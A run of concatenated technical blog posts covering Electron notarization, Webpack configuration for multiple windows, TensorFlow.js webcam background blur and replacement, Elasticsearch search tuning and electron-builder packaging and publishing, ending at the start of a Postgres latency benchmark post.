The script uses the notarize function from the @electron/notarize package.It passes the path to the generated .app file during the build process, alongwith the required TEAM_ID, APPLE_ID, and APPLE_APP_SPECIFIC_PASSWORD,which were obtained earlier.

To run the custom notarization script, disable the built-in notarization featurein the electron-builder configuration. Then, call this script from theafterSign callback to ensure it runs after the signing process is complete.

"build": {    "mac": {      "notarize": false,      "target": {        "target": "default",        "arch": [          "arm64",          "x64"        ]      },    },    "afterSign": "./scripts/notarize.js",}

Great! We have successfully code-signed and notarized our macOS application.Now, macOS will trust our application, and an added benefit of this process isthat it allows us to auto-update our application seamlessly, ensuring that usersalways have the latest version.

When developing desktop applications with Electron, managing multiple browserwindows within a single app is often necessary. Whether we need to displaydifferent types of content or create a more complex user interface, handlingmultiple windows efficiently can be challenging.

In this blog, we'll explore how to configure Webpack to manage multiple browserwindows in our Electron application, ensuring that each window operates smoothlyin our project.

Configuring Webpack for a Single Browser Window

Before diving into the setup for multiple windows, let's first review how toconfigure Webpack for a single browser window. This example focuses on therenderer process, which is responsible for rendering the UI and handlinginteractions. If interested in learning how to configure Webpack for the entireElectron app, including the main process, check outthis blog.

Consider the following typical folder structure for an Electron project:

electron-app assets app src    main      main.js    renderer      App.jsx      index.ejs node_modules package.json

This structure separates the code for the main and renderer processes, whichis a standard practice in Electron projects.

Here's how we can configure Webpack for a single browser window:

// ./config/webpack/renderer.mjsimport webpack from "webpack";import HtmlWebpackPlugin from "html-webpack-plugin";const configuration = {  target: ["web", "electron-renderer"],  entry: "src/renderer/App.jsx",  output: {    path: "app/dist/renderer",    publicPath: "./",    filename: "renderer.js",    library: {      type: "umd",    },  },  module: {...},  // Module configuration (loaders, etc.)  optimization: {...},  // Optimization settings (minification, etc.)  plugins: [    // Other plugins...    new HtmlWebpackPlugin({      filename: "app.html",      template: "src/renderer/index.ejs",    }),  ],};export default configuration;

In this configuration:

• The target is set to ["web", "electron-renderer"], enabling both standardweb and Electron renderer environments.
• The entry specifies the entry point for the renderer process, which issrc/renderer/App.jsx.
• The output is bundled into a single file named renderer.js, which is storedin the app/dist/renderer directory. In an Electron app, it's oftenpreferable to bundle everything into a single file since the files are loadedlocally.
• The HtmlWebpackPlugin generates an app.html file from a template(index.ejs), embedding the necessary script to load renderer.js.

We can compile and bundle our frontend code using the following command:

webpack --config ./config/webpack/renderer.mjs

This will produce an app.html file in the app/dist/renderer directory, alongwith renderer.js.

<!DOCTYPE html><html>   <head>      <meta charset=utf-8>      <meta http-equiv=Content-Security-Policy content="script-src 'self' 'unsafe-inline'">      <title>MyApp</title>      <script defer=defer src=./renderer.js></script>   </head>   <body>      <div id=root></div>   </body></html>

The HtmlWebpackPlugin correctly injects the <script/> tag to loadrenderer.js. This app.html can now be loaded into a browser window from themain process.

const appWindow = new BrowserWindow({  show: false,  width: 1408,  height: 896,});appWindow.loadURL("app/dist/renderer/app.html");appWindow.on("ready-to-show", () => {  appWindow.show();});

Configuring Webpack for Multiple Browser Windows

With the single window setup complete, let's add another browser window to theapp. For example, let's say we want to create a Settings.jsx component withinthe renderer folder:

electron-app assets app src    main      main.js    renderer      App.jsx      Settings.jsx      index.ejs node_modules package.json

Previously, we bundled all JavaScript code into a single renderer.js file.However, since we're now working with multiple windows, it makes sense to createseparate bundles for each windowone for the App window and another for theSettings window. To achieve this, we can specify multiple entry points inWebpack:

// ./config/webpack/renderer.mjsimport webpack from "webpack";import HtmlWebpackPlugin from "html-webpack-plugin";const configuration = {  target: ["web", "electron-renderer"],  entry: {    app: "src/renderer/App.jsx",    settings: "src/renderer/Settings.jsx",  },  output: {    path: "app/dist/renderer",    publicPath: "./",    filename: "[name].js", // Use placeholders to generate separate bundles    library: {      type: "umd",    },  },  // Other configuration options...};export default configuration;

In this configuration:

• The entry property now contains two entry points: app and settings.Webpack will generate separate bundles for each, named app.js andsettings.js respectively.
• The filename in the output section uses the [name] placeholder todynamically generate filenames based on the entry point names.

Next, we need to generate two HTML filesone for each window. We can achievethis by adding another instance of HtmlWebpackPlugin to the plugins array:

// ./config/webpack/renderer.mjsimport webpack from "webpack";import HtmlWebpackPlugin from "html-webpack-plugin";const configuration = {  target: ["web", "electron-renderer"],  entry: {    app: "src/renderer/App.jsx",    settings:"src/renderer/Settings.jsx"  },  output: {    path: "app/dist/renderer",    publicPath: "./",    filename: '[name].js',    library: {      type: "umd",    },  },  module: {...},  optimization: {...},  plugins: [    // Other plugins...    new HtmlWebpackPlugin({      filename: "app.html",      template: "src/renderer/index.ejs",      chunks: ['app'],  // Load only the 'app' bundle    }),    new HtmlWebpackPlugin({      filename: "settings.html",      template: "src/renderer/index.ejs",      chunks: ['settings'],  // Load only the 'settings' bundle    }),  ],};export default configuration;

By specifying the chunks property for each HtmlWebpackPlugin instance, weensure that each HTML file only includes the appropriate JavaScript bundle. Thefinal output will include two HTML files:

<!-- app.html --><!DOCTYPE html><html>   <head>      <meta charset=utf-8>      <meta http-equiv=Content-Security-Policy content="script-src 'self' 'unsafe-inline'">      <title>MyApp</title>      <script defer=defer src=./app.js></script>   </head>   <body>      <div id=root></div>   </body></html><!-- settings.html --><!DOCTYPE html><html>   <head>      <meta charset=utf-8>      <meta http-equiv=Content-Security-Policy content="script-src 'self' 'unsafe-inline'">      <title>MyApp</title>      <script defer=defer src=./settings.js></script>   </head>   <body>      <div id=root></div>   </body></html>

Finally, from the main process, we can easily create two browser windows, eachwith its own renderer code:

const appWindow = new BrowserWindow({  show: false,  width: 1408,  height: 896,});appWindow.loadURL("app/dist/renderer/app.html");appWindow.on("ready-to-show", () => {  appWindow.show();});const settingsWindow = new BrowserWindow({  show: false,  width: 1408,  height: 896,});settingsWindow.loadURL("app/dist/renderer/settings.html");settingsWindow.on("ready-to-show", () => {  settingsWindow.show();});

With this setup, each browser window will load its own dedicated JavaScriptbundle, ensuring that our Electron application is both efficient and modular.This approach not only makes our code easier to manage but also enhances theperformance of our application by reducing unnecessary code loading.

Modern tools like Zoom and Google Meet allow us to blur or completely replaceour background in real-time video, creating a polished and distraction-freeenvironment regardless of where we are.

This is possible because of advancements in machine learning. In this blog,we'll explore how to achieve real-time background blurring and replacement usingTensorFlow's body segmentation capabilities.

Tensorflow body segmentation

TensorFlow body segmentation is a computer vision technique that involvesdividing an image into distinct regions corresponding to different parts of ahuman body. It typically employs deep learning models, such as convolutionalneural networks (CNNs), to analyze an image and predict pixel-level labels.These labels indicate whether each pixel belongs to a specific body part, likethe head, torso, arms, or legs.

The segmentation process often starts with a pre-trained model, which has beentrained on large datasets. The model processes the input image through multiplelayers of convolutions and pooling, gradually refining the segmentation map. Thefinal output is a precise mask that outlines each body part, allowing forapplications in areas like augmented reality, fitness tracking, and virtualtry-ons.

To learn more about Tensorflow and body segmentation, check out the belowresources.

• TensorFlow segmentation
• Body Segmentation with MediaPipe and TensorFlow.js

Setting up React app

We'll create a simple React app that streams video from the webcam.

import React, { useRef, useEffect } from "react";const App = () => {  const videoRef = useRef(null);  useEffect(() => {    const getVideo = async () => {      try {        const stream = await navigator.mediaDevices.getUserMedia({          video: true,        });        if (videoRef.current) {          videoRef.current.srcObject = stream;        }      } catch (err) {        console.error("Error accessing webcam: ", err);      }    }    getVideo();    return () => {      if (videoRef.current && videoRef.current.srcObject) {        videoRef.current.srcObject.getTracks().forEach(track => track.stop());      }    };  }, []);  return (    <div>      <video ref={videoRef} autoPlay width="640" height="480" style={transform: 'scaleX(-1)'}/>    </div>  );}export default App;

In the code above, we render a <video> element, and once the app is mounted,we obtain the video stream from the user's webcam usingnavigator.mediaDevices.getUserMedia. This call will prompt the user to grantpermission to access their camera. Once the user grants permission, the videostream is captured and rendered in the <video> element.

Installing packages

Next, let's add the necessary TensorFlow packages.

yarn add @tensorflow/tfjs-core @tensorflow/tfjs-converter @tensorflow-models/body-segmentation @mediapipe/selfie_segmentation

@tensorflow/tfjs-core is the core JavaScript package for TensorFlow,@tensorflow-models/body-segmentation contains all the functions we need forbody segmentation, and @mediapipe/selfie_segmentation is our pre-trainedmodel.

Creating body segmenter

The TensorFlow body segmentation package provides a pre-trainedMediaPipeSelfieSegmentation model for segmenting the human body in images andvideos. This model is specifically designed for the upper body. If ourrequirement involves the entire body, we may want to consider other models likeBodyPix.

We need to load this model to create a segmenter.

import * as bodySegmentation from "@tensorflow-models/body-segmentation";const createSegmenter = async () => {  const model = bodySegmentation.SupportedModels.MediaPipeSelfieSegmentation;  const segmenterConfig = {    runtime: "mediapipe",    solutionPath: "https://cdn.jsdelivr.net/npm/@mediapipe/selfie_segmentation",    modelType: "general",  };  return bodySegmentation.createSegmenter(model, segmenterConfig);};

We load the model from a CDN, configure the runtime as mediapipe, and set themodelType to general. Then, we create the segmenter using thebodySegmentation.createSegmenter method.

// ./videoBackground.jsimport * as bodySegmentation from "@tensorflow-models/body-segmentation";const createSegmenter = async () => {  const model = bodySegmentation.SupportedModels.MediaPipeSelfieSegmentation;  const segmenterConfig = {    runtime: "mediapipe",    solutionPath: "https://cdn.jsdelivr.net/npm/@mediapipe/selfie_segmentation",    modelType: "general",  };  return bodySegmentation.createSegmenter(model, segmenterConfig);};class VideoBackground {  #segmenter;  getSegmenter = async () => {    if (!this.#segmenter) {      this.#segmenter = await createSegmenter();    }    return this.#segmenter;  };}const videoBackground = new VideoBackground();export default videoBackground;

Here, we define a VideoBackground class and create an instance of it. Insidethe class, the getSegmenter function ensures that the segmenter is createdonly once, so we don't have to recreate it each time.

Blur the video background

Before we continue further, let's update our demo app. Since we are going tomodify the video, we need a <canvas/> to display the modified video. Add thatto our demo app.

// rest of the code...const App = () => {  const canvasRef = useRef();  // rest of the code...  return (    <div>      <video        ref={videoRef}        autoPlay        width="640"        height="480"        style={{ display: "none" }}      />      <canvas ref={canvasRef} width="640" height="480" style={transform: 'scaleX(-1)'}/>    </div>  );}

Also, hide the <video> element by setting display: "none" since we don'twant to display the raw video.

Next, create a function within the VideoBackground class to blur the video.

// rest of the code...class VideoBackground {  // rest of the code...  #animationId;  stop = () => {    cancelAnimationFrame(this.#animationId);  };  blur = async (canvas, video) => {    const foregroundThreshold = 0.5;    const edgeBlurAmount = 15;    const flipHorizontal = false;    const blurAmount = 5;    const segmenter = await this.getSegmenter();    const processFrame = async () => {      const segmentation = await segmenter.segmentPeople(video);      await bodySegmentation.drawBokehEffect(        canvas,        video,        segmentation,        foregroundThreshold,        blurAmount,        edgeBlurAmount,        flipHorizontal      );      this.#animationId = requestAnimationFrame(processFrame);    };    this.#animationId = requestAnimationFrame(processFrame);  };}

The blur function takes video and canvas references. It usesrequestAnimationFrame to continuously draw the resulting image onto thecanvas. First, it creates a body segmentation using thesegmenter.segmentPeople function by passing the video reference. This allowsus to identify which pixels belong to the background and foreground.

To achieve the blurred effect, we use the bodySegmentation.drawBokehEffectfunction, which applies a blur to the background pixels. This function acceptsadditional configurations like foregroundThreshold, blurAmount, andedgeBlurAmount, which we can adjust to customize the effect.

We've also added a stop function to halt video processing by canceling therecursive requestAnimationFrame calls.

import React, { useRef, useEffect, useState } from "react";function App() {  const [cameraReady, setCameraReady] = useState(false);  // rest of the code...  <video    // rest of the code...    onLoadedMetadata={() => setCameraReady(true)}  />;  // rest of the code...}

Before calling the blur function, ensure the video is loaded by waiting forthe onLoadedMetadata event to be triggered.

All set; let's blur the video background.

import React, { useRef, useEffect, useState } from "react";import videoBackground from "./videoBackground";function App() {  const [cameraReady, setCameraReady] = useState(false);  const videoRef = useRef(null);  const canvasRef = useRef();  useEffect(() => {    async function getVideo() {      try {        const stream = await navigator.mediaDevices.getUserMedia({          video: true,        });        if (videoRef.current) {          videoRef.current.srcObject = stream;        }      } catch (err) {        console.error("Error accessing webcam: ", err);      }    }    getVideo();    return () => {      if (videoRef.current && videoRef.current.srcObject) {        videoRef.current.srcObject.getTracks().forEach(track => track.stop());      }    };  }, []);  useEffect(() => {    if (!cameraReady) return;    videoBackground.blur(canvasRef.current, videoRef.current);    return () => {      videoBackground.stop();    };  }, [cameraReady]);  return (    <div className="App">      <video        ref={videoRef}        autoPlay        width="640"        height="480"        style={{ display: "none" }}        onLoadedMetadata={() => setCameraReady(true)}      />      <canvas ref={canvasRef} width="640" height="480" />    </div>  );}export default App;

Here, we added another useEffect that triggers when cameraReady is true.Inside this useEffect, we call the videoBackground.blur function, passingthe canvas and video refs. When the component unmounts, we stop the videoprocessing by calling the videoBackground.stop() function.

Replace with a virtual background

If we feel that just blurring is not enough and want to completely replace thebackground, we need to remove the background from the video and place an<img/> behind the <canvas/>. To remove the background, we can utilize thebodySegmentation.toBinaryMask function. This function will return anImageData with itsalpha channel being 255 for the background and 0 for the foreground. We canuse this info in the original data and set the background pixels' alpha to betransparent.

// rest of the code...class VideoBackground {  // rest of the code...  remove = async (canvas, video) => {    const context = canvas.getContext("2d");    const segmenter = await this.getSegmenter();    const processFrame = async () => {      context.drawImage(video, 0, 0);      const segmentation = await segmenter.segmentPeople(video);      const coloredPartImage = await bodySegmentation.toBinaryMask(        segmentation      );      const imageData = context.getImageData(        0,        0,        video.videoWidth,        video.videoHeight      );      // imageData format; [R,G,B,A,R,G,B,A...]      // below for loop iterate through alpha channel      for (let i = 3; i < imageData.data.length; i += 4) {        // Background pixel's alpha will be 255.        if (coloredPartImage.data[i] === 255) {          imageData.data[i] = 0; // this is a background pixel's alpha. Make it fully transparent        }      }      await bodySegmentation.drawMask(canvas, imageData);      this.#animationId = requestAnimationFrame(processFrame);    };    this.#animationId = requestAnimationFrame(processFrame);  };}

Similar to the blurring process, inside processFrame, we first create thesegmentation using segmenter.segmentPeople and convert it to a binary maskusing bodySegmentation.toBinaryMask. We then obtain the original image datawith context.getImageData. Next, we loop through the image data to make thebackground pixels transparent. Finally, we draw the result on the canvas usingbodySegmentation.drawMask.

Before calling this function, let's modify our demo app by adding an option toswitch between none, blur, and image effects, rather than removing theblur function. Additionally, include a background image.

const BACKGROUND_OPTIONS = ["none", "blur", "image"];function App() {  const [backgroundType, setBackgroundType] = useState(BACKGROUND_OPTIONS[0]);  // rest of the code...  return (    <div>      // rest of the code...      {backgroundType === "image" && (        <img          alt=""          style={{            position: "absolute",            top: 0,            bottom: 0,            width: "640px",            height: "480px",          }}          src="/bgImage.png"        />      )}      // rest of the code...      <div>        <select          value={backgroundType}          onChange={e => setBackgroundType(e.target.value)}        >          {BACKGROUND_OPTIONS.map(option => (            <option value={option} key={option}>              {option}            </option>          ))}        </select>      </div>    </div>  );}

Here, we added a <select> element to choose between none, blur, andimage, and an <img> element to display the background image, which willserve as our virtual background.

All set. Now, let's update the useEffect.

useEffect(() => {  if (!cameraReady || backgroundType === "none") return;  const bgFn =    backgroundType === "blur" ? videoBackground.blur : videoBackground.remove;  bgFn(canvasRef.current, videoRef.current);  return () => {    videoBackground.stop();  };}, [cameraReady, backgroundType]);

Based on the selection, we will call either videoBackground.blur orvideoBackground.remove.

Full working example can be found in thisGithub repo.

Definitions

These are some of the Elasticsearch terminology we use in this blog.

• Document: A document in Elasticsearch is similar to a row in a databasetable. It is a collection of key-value pairs.

• Index: An index is a collection of documents. It is similar to a databasetable. Indexing is the process of creating the index, and we canconfigure each step of this process.

• Analyzer: An analyzer converts a string into a list of searchable tokens.Analyzer contains three functions: Character Filter, Tokenizer, and TokenFilter.

• Character Filter is a function that performs the process of filtering outcertain characters from the input string. For example, to strip HTML tags andto get only the body.

• Tokenizer: A tokenizer is a function that splits the input string intotokens. This can be based on whitespace, punctuation, or any other character.

• Token Filter: A token filter is a function that performs the process offiltering out certain tokens from the input string. For example, it can beused to remove stop words (a, the, and, etc.) which serve no purpose in thesearch.

Analyzer

This is our analyzer setup:

{  default: {    tokenizer: "whitespace",    filter: ["lowercase", "autocomplete"]  },  search: {    tokenizer: "whitespace",    filter: ["lowercase"]  },  english_exact: {    tokenizer: "whitespace",    filter: [      "lowercase"    ]  }}

default is the analyzer used for indexing and searching. The search terms fromthe user is passed through the search analyzer. english_exact is theanalyzer used for exact matches.

Tokenizer

By default, Elasticsearch uses the standard tokenizer, which splits the inputstring into tokens based on whitespace, punctuation, and any other character.Since our content is mostly based on technical concepts and programming, wecannot use the standard tokenizer. The whitespace tokenizer splits the inputstring into tokens based on whitespace, which is suitable for our use case.Hence, we use the whitespace tokenizer for all the analyzers.

Filter

The lowercase filter is used to convert all the tokens to lowercase beforestoring it in the index. This is a common requirement as we want the search tobe case-insensitive. We also use the custom autocomplete filter. Let's see itsdefinition:

{  autocomplete: {    "type": "edge_ngram",    "min_gram": 3,    "max_gram": 20,    "preserve_original": true  }}

The custom autocomplete filter is an implementation ofedge_ngramtoken filter. Let's see the result of this filter when applied on the phrase"Elephant in the room".

{  "tokens": [    {      "token": "Ele",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "Elep",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "Eleph",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "Elepha",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "Elephan",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "Elephant",      "start_offset": 0,      "end_offset": 8,      "type": "<ALPHANUM>",      "position": 0    },    {      "token": "in",      "start_offset": 9,      "end_offset": 11,      "type": "<ALPHANUM>",      "position": 1    },    {      "token": "the",      "start_offset": 12,      "end_offset": 15,      "type": "<ALPHANUM>",      "position": 2    },    {      "token": "roo",      "start_offset": 16,      "end_offset": 20,      "type": "<ALPHANUM>",      "position": 3    },    {      "token": "room",      "start_offset": 16,      "end_offset": 20,      "type": "<ALPHANUM>",      "position": 3    }  ]}

The edge_ngram filter creates n-gramsstarting from the first character. Since we specified min_gram as 3 andmax_gram as 20, the filter will create n-grams from the first 3 characters tothe last 20 characters. This means that a document will be created for every 3to 20 letter sequence of a word. If we start typing "ELEP", then there will be adocument in the index corresponding to "ELEP" and we will get the result"Elephant in the room".

The Query

The query object in the search request is equally important for getting relevantresults. Elasticsearch sorts matching search results by relevance score, whichmeasures how well each document matches a query. The query clause contains thecriteria for calculating the relevance score. This is our query object:

{  bool: {    should: [      {        simple_query_string: {          query: requestBody.searchTerm,          fields: ["content", "meta.pageTitle", "meta.chapterTitle"],          quote_field_suffix: ".exact",        },      },      {        match: {          content: {            query: requestBody.searchTerm,            ...baseFuzzyQueryConfig(),          },        },      },      {        match: {          "meta.pageTitle": {            query: requestBody.searchTerm,            ...baseFuzzyQueryConfig(),            boost: 1.5,          },        },      },      {        match: {          "meta.chapterTitle": {            query: requestBody.searchTerm,            ...baseFuzzyQueryConfig(),            boost: 1.5,          },        },      },    ],    minimum_should_match: 1,  },};

The bool and should clauses are used to create a compound query. Theshould clause means that at least one of the queries should match. Here thematch is the standard query used for full-text search. Here content,meta.pageTitle and meta.chapterTitle specify the fields that we createdwhile indexing the data.

We have provided a boost value of 1.5 for page title and chapter title. Thisis to make sure that a page or chapter title has more relevance score than anycontent in the middle of the page.

The simple_query_string query is used for exact matches, when the search termcontains double quotes, the english_exact analyzer is used. The double quotesoperator ( " ) is part of theseveral operatorsthat can be used in the simple_query_string query.

Fuzzy searching

We also use fuzzy searching in the match query. Fuzzy searching helps ingiving proper results even if there are typos in the search term. Elasticsearchuses Levenshtein distanceto calculate the similarity between the search term and the indexed data.Previously, we used thefuzzy queryto implement fuzzy searching.

{  content: {    value: requestBody.searchTerm,    ...extendedFuzzyQueryConfig(),  },},

But this caused several issues like:

• Fuzzy results being prioritized over exact matches. For example, searching for"five" returned results for "dive", even when "five" was present in thecontent
• Fuzzy results not being returned when the search term contained multiplewords.

Upon investigation, we found that the fuzzy query does not perform analysis onthe search term. Instead we now use the match query with fuzzinessparameter.

const baseFuzzyQueryConfig = () => ({  prefix_length: 0,  fuzziness: "AUTO",});...{  content: {    query: requestBody.searchTerm,    ...baseFuzzyQueryConfig(),  },},

Conclusion

There is no silver bullet in the case of Elasticsearch configuration. And there isno metric to determine if the search is giving quality results. We have tweakedour configuration based on trial and error and from user feedback. We hope thesetechniques are useful for anyone who is looking to improve their searchexperience.

Building, packaging and publishing an app with the default Electron npm packagescan be quite challenging. It involves multiple packages and offers limitedcustomization. Additionally, setting up auto-updates requires significantadditional effort, often involving separate tools or services.

electron-builder is a complete solution forbuilding, packaging, and distributing Electronapplications for macOS, Windows, and Linux. It is a highly configurablealternative to the default Electron packaging process that supports auto-updateout of the box.

In this blog, we look into how we can build, package and distribute Electronapplications using electron-builder.

Electron processes

Electron has two types of processes: the main process and the rendererprocess. The main process acts as the entry point to the application, where wecan create a browser window and load a webpage. This webpage runs in therenderer process. The main process is written in Node.js, while therenderer process can be developed using JavaScript or any JS framework likeReact, Vue, or Angular.

Project structure

When building an Electron application, it's best to keep the main andrenderer processes in separate folders since they are built separately.

electron-app assets release src    main      main.js    renderer      App.jsx      index.ejs node_modules package.json

Browser window preload script

Since the main process is written in Node.js, it has access to Node.js andElectron APIs, but the renderer process does not. To bridge this gap, Electronsupports a special script called a preload script, which we can specify whencreating a BrowserWindow. This script runs in a context that has access toboth the HTML DOM and a limited subset of Node.js and Electron APIs. An examplepreload script looks like this:

import { contextBridge, ipcRenderer } from "electron";const electronHandler = {  ipcRenderer: {    sendMessage(channel, ...args) {      ipcRenderer.send(channel, ...args);    },    on(channel, func) {      const subscription = (_event, ...args) => func(...args);      ipcRenderer.on(channel, subscription);      return () => {        ipcRenderer.removeListener(channel, subscription);      };    },    once(channel, func) {      ipcRenderer.once(channel, (_event, ...args) => func(...args));    },  },};contextBridge.exposeInMainWorld("electron", electronHandler);

This preload script exposes send, on and once methods of ipcRenderer tothe renderer process via the contextBridge. It allows the renderer to sendmessages, listen for events, and handle one-time events from the main processwhile maintaining security by controlling which APIs are accessible.

Build

Since an Electron application has two processes, we need two separate Webpackconfigurationsone for the main process and another for the rendererprocess.

// ./config/webpack/main.mjsimport path from "path";import webpack from "webpack";import { merge } from "webpack-merge";import TerserPlugin from "terser-webpack-plugin";const configuration = {  target: "electron-main",  entry: {    main: "src/main/main.mjs",    preload: "src/main/preload.mjs",  },  output: {    path: "release/app/dist/main",    filename: "[name].js",    library: {      type: "umd",    },  },  optimization: {    minimizer: [      new TerserPlugin({        parallel: true,      }),    ],  },  node: {    __dirname: false,    __filename: false,  },};export default configuration;

The above is a basic Webpack configuration for the main process. Webpacksupports Electron out of the box, so by setting target: "electron-main",Webpack includes all the necessary Electron variables. Since we also have apreload script, we added preload.mjs as an entry point as well. We will beminifying the code using TerserPlugin.

Another important detail is that we've disabled __dirname and __filename.This prevents Webpack's handling of these variables from interfering withNode.js's native __dirname and __filename, ensuring they behave as expectedin our Electron app.

// ./config/webpack/renderer.mjsimport path from "path";import webpack from "webpack";import HtmlWebpackPlugin from "html-webpack-plugin";import MiniCssExtractPlugin from "mini-css-extract-plugin";import { BundleAnalyzerPlugin } from "webpack-bundle-analyzer";import CssMinimizerPlugin from "css-minimizer-webpack-plugin";import { merge } from "webpack-merge";import TerserPlugin from "terser-webpack-plugin";const configuration = {  target: ["web", "electron-renderer"],  entry: "src/renderer/App.jsx",  output: {    path: "release/app/dist/renderer",    publicPath: "./",    filename: "renderer.js",    library: {      type: "umd",    },  },  module: {    rules: [      {        test: /\.s?(a|c)ss$/,        use: [          MiniCssExtractPlugin.loader,          {            loader: "css-loader",            options: {              modules: true,              sourceMap: true,              importLoaders: 1,            },          },          "sass-loader",        ],        include: /\.module\.s?(c|a)ss$/,      },      {        test: /\.s?(a|c)ss$/,        use: [          MiniCssExtractPlugin.loader,          "css-loader",          "sass-loader",          "postcss-loader",        ],        exclude: /\.module\.s?(c|a)ss$/,      },      // Fonts      {        test: /\.(woff|woff2|eot|ttf|otf)$/i,        type: "asset/resource",      },      // Images      {        test: /\.(png|jpg|jpeg|gif)$/i,        type: "asset/resource",      },      // SVG      {        test: /\.svg$/,        use: [          {            loader: "@svgr/webpack",            options: {              prettier: false,              svgo: false,              svgoConfig: {                plugins: [{ removeViewBox: false }],              },              titleProp: true,              ref: true,            },          },          "file-loader",        ],      },    ],  },  optimization: {    minimize: true,    minimizer: [new TerserPlugin(), new CssMinimizerPlugin()],  },  plugins: [    new MiniCssExtractPlugin({      filename: "style.css",    }),    new HtmlWebpackPlugin({      filename: "index.html",      template: "src/renderer/index.ejs",      minify: {        collapseWhitespace: true,        removeAttributeQuotes: true,        removeComments: true,      },      isBrowser: false,      isDevelopment: false,    }),  ],};export default configuration;

In the renderer configuration, we set the target totarget: ["web", "electron-renderer"], which provides both standard web andElectron's renderer variables. Similar to a typical web application setup, weload various plugins to handle fonts, images, and SVGs and to minify CSS andJavaScript. Since JavaScript files are loaded locally in an Electronapplication, we can bundle everything into a single file called renderer.jsinstead of splitting it into multiple chunks as we would for a standard webapplication.

Our build configuration is ready; add it to scripts in package.json for easyexecution.

"scripts": {    "build:main": "cross-env NODE_ENV=production webpack --config ./config/webpack/main.mjs",    "build:renderer": "cross-env NODE_ENV=production webpack --config ./config/webpack/renderer.mjs",    "build": "yarn build:main && yarn build:renderer",}

Great! Now, we can build the entire Electron application using a singleyarn build command.

Package

We can configure the electron-builder in package.json using the buildfield. Below is an example configuration for an app named MyApp.

 "build": {    "productName": "MyApp",    "appId": "com.neeto.MyApp",    "directories": {      "app": "release/app",      "buildResources": "assets",      "output": "release/build"    },     "mac": {      "target": {        "target": "default",        "arch": [          "arm64",          "x64"        ]      }    },    "win": {      "target": {        "target": "nsis",        "arch": [          "x64"        ]      },      "artifactName": "${productName}-Setup-${version}.${ext}"    },    "linux": {      "category": "Utility",      "target": [        {          "target": "rpm",          "arch": [            "x64"          ]        },        {          "target": "deb",          "arch": [            "x64"          ]        }      ],    }, }

In the Webpack configuration, we specified release/app as the output directoryfor the compiled JS code. This directory needs to be specified inelectron-builder so it knows where to find the compiled code during packaging.Use the directories.app field to specify this path, and we can also definewhere the packaged builds should be output using the directories.output field.

In addition to directories, the configuration includes settings for appId,productName and platform-specific configurations for mac, win(Windows),and linux. For each platform, we specify the installer target andarchitecture. This configuration will produce builds for both Intel (x64) andApple Silicon (arm64) on macOS. For Windows, it generates an NSISinstaller targeting 64-bit architecture (x64). On Linux, it produces bothRPM and DEB installers for 64-bit architecture (x64).

With the electron-builder configuration set, we can proceed to package ourapplication using the electron-builder build command.

"scripts": {    "build:main": "cross-env NODE_ENV=production webpack --config ./webpack/main.prod.mjs",    "build:renderer": "cross-env NODE_ENV=production webpack --config ./webpack/renderer.prod.mjs",    "build": "yarn build:main && yarn build:renderer",    "package": "yarn build && electron-builder build",}

We run yarn build before electron-builder build to ensure that theJavaScript code is compiled before packaging. This enables us to handle both thebuild and packaging processes in a single command.

Publish

To publish the app to a server where users can download and use it, we can passthe --publish flag to electron-builder build command. Before we can do that,we need to update our electron-builder configuration with publish serverinformation.

Here is an example configuration to publish the builds to an S3 bucket namedmy-app-downloads:

 "build": {  // other configs  "publish": [      {        "provider": "s3",        "bucket": "my-app-downloads",        "path": "/electron/my-app/",        "region": "us-east-1",        "acl": null      },    ] }

The publish field accepts an array, allowing us to publish to multiplelocations. We need to specify a provider, such as s3, but electron-builderalso supports other providers like github and more by default. For a completelist of all publishing options, check out thepublish documentation.

To wrap things up, let's automate the deployment process by creating a GitHubActions workflow. Since building macOS apps is only supported on macOS, we'llneed to run the workflow from a macOS environment.

name: Publishjobs:  publish:    runs-on: ${{ matrix.os }}    strategy:      matrix:        os: [macos-latest]    steps:      - name: Setup Java        uses: actions/setup-java@v3        with:          distribution: "adopt"          java-version: "11"      - name: Checkout git repo        uses: actions/checkout@v3      - name: Install Node and NPM        uses: actions/setup-node@v3        with:          node-version: 20          cache: npm      - name: Install rpm using Homebrew        run: brew install rpm      - name: Install and build        run: |          yarn install          yarn build      - name: Publish releases        env:          AWS_ACCESS_KEY_ID: ${{secrets.AWS_ACCESS_KEY}}          AWS_SECRET_ACCESS_KEY: ${{secrets.AWS_SECRET}}        run: npm exec electron-builder -- --publish always -mwl

To successfully build for Windows and Linux from macOS, we'll need to set up aJava version and install the rpm package. Additionally, configure ourAWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for the S3 bucket where we planto upload the builds. Once these steps are complete, we should be able to buildand publish our Electron app using the electron-builder -- --publish command.The -mwl flag indicates that the build should target macOS, Windows, andLinux.

Auto-update

To enable auto-updating for our application, we first need to code-sign andnotarize it. We'll cover the code-signing and notarization details in upcomingblog posts. Stay tuned!

That's where Crunchy Data comes in. They providemanaged Postgres service. Checkout thistweet from DHH about CrunchyData.

In our internal discussion, one of the BigBinary engineers brought up the issueof "latency". Since the PostgreSQL server will not be in the same data center,what would be the latency? How much impact will it have on performance?

We didn't know the answer so we thought we would do some benchmarking.

Benchmarking

To do the comparison we needed another hosting provider where we can runPostgreSQL on the same data center. We chose to work with Digital Ocean.

To compare the two services, we wrote a benchmark script in Ruby similar to theone Ben Johnson wrote inGofor his GopherCon talkin 2021.

In this benchmark, we're using Ruby's Benchmark module to measure theperformance of a series of database operations. Here's what the code does:

1. It establishes a connection to the database only once, at the beginning ofthe script. This is done outside the benchmarked operations becauseestablishing connections can be a slow operation because of TLS negotiation,and we don't want to account for that time in our measurements.

2. It then performs the following operations 10,000 times, measuring each one:

   • Drops a table named 't' if it exists.
   • Creates a new table 't' with two columns: 'id' (an auto-incrementingprimary key) and 'name' (a text field).
   • Inserts a single row into the table with the name 'jane'.
   • Selects the 'name' from the table where the 'id' is 1 (which should be'jane').

3. After all 10,000 iterations, it calculates and prints the average time foreach operation in microseconds.

